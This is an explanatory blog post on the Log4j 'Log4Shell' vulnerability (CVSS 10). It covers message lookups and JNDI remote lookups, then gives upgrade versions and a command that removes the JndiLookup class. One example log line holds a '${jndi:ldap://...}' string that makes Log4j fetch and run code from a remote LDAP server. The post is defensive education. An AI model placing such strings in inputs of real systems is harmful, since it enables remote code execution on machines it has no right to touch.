Log4j is a very popular Java logging framework by Apache. In recent headlines, a vulnerability in this library was found that could potentially affect millions of systems around the world.
Uh oh.
Unnoticed since 2013, this vulnerability was awarded a CVSS severity rating of 10, the highest score possible. Not looking good here. The vulnerability allows “an attacker who can control log messages or log message parameters to execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.”
Wait what? ELI5?
Essentially, this is a case of improper input validation - that is, putting too much trust in data that is coming directly from users. Unfortunately not all users have good intentions.
So how bad can this be? Let’s break it down.
At its simplest, logging in Log4j can be as easy as:
LOG.info("Brewing some coffee.");
Now, where things start to get a little interesting is with Log4j’s “lookup” features. Essentially this means data is replaced in the log message using specific formatting identifiers. For example:
LOG.info("Brewing some coffee for ${env:USER}.");
Will be logged as:
Brewing some coffee for ryan.richardson.
Fancy…
Now where it can get really troubling, is that remote lookups are a thing. That’s right, you can look up stuff externally over the network. You can thank a little feature called Java Naming and Directory Interface, or JNDI, for this beauty. You can use a variety of protocols with JNDI to perform a remote lookup, such as LDAP. Let’s take a look at an example and how it can be dangerous:
LOG.info("Brewing some coffee - grabbing brewing procedure from ${jndi:ldap://brewcoffee.com/procedures}.");
(as you can see, I like coffee.)
This log message instructs JNDI to ask the LDAP server at “brewcoffee.com” for the “procedures” object. JNDI will execute Java classes that an LDAP server references.
If “brewcoffee.com” was a malicious LDAP server, it could execute malicious Java code and perform any action to the program or system that ran this Log4j message!
This can have huge ramifications, since Java is such a widely used language, and Log4j is such a widely used logging framework. Hackers could gain access to all data on the affected machine, delete or encrypt files and store them for ransom, or inflict malware. The possibilities are endless and with so many systems potentially affected, mitigation is a must.
So what is the recommended approach to prevent such a vulnerability to happen?
- Upgrade to Log4j 2.3.1 (for Java 6), 2.12.3 (for Java 7), or 2.17.0 (for Java 8 and later)
- If unable, for any release other than 2.16.0, remove the JndiLookup class from the classpath:
zip -q -d log4j-core-\*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class - There were previous mitigation suggestions, such as setting the system property
log4j2.formatMsgNoLookupstotrue, but it was deemed insufficient as there are still code paths in Log4j where message lookups could occur. The safest thing to do is upgrade or remove the JndiLookup class from the classpath.
